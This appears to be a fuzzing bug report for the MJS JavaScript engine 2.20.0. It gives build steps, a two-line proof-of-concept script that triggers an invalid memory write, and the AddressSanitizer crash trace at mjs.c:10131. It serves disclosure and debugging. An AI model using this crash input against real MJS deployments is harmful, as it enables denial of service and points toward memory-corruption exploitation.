SEGV /mjs/mjs.c:10131:14

[Vincebye]

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 

Contents of PoCfile

mkstr--;
mkstr(1);

ASAN Report

$ ./mjs-bin poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28965==ERROR: AddressSanitizer: SEGV on unknown address 0x55730c905c6c (pc 0x55730c905cdf bp 0x7fff6923b670 sp 0x7fff6923b358 T0)
==28965==The signal is caused by a WRITE memory access.
    #0 0x55730c905cdf  /home/v/jse/mjs/mjs.c:10131:14
    #1 0x55730c9104d4 in mjs_exec_internal /home/v/jse/mjs/mjs.c:9044:5
    #2 0x55730c910cb3 in mjs_exec_file /home/v/jse/mjs/mjs.c:9067:11
    #3 0x55730c9225e8 in main /home/v/jse/mjs/mjs.c:11423:11
    #4 0x7ff9793cfd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:10131:14
==28965==ABORTING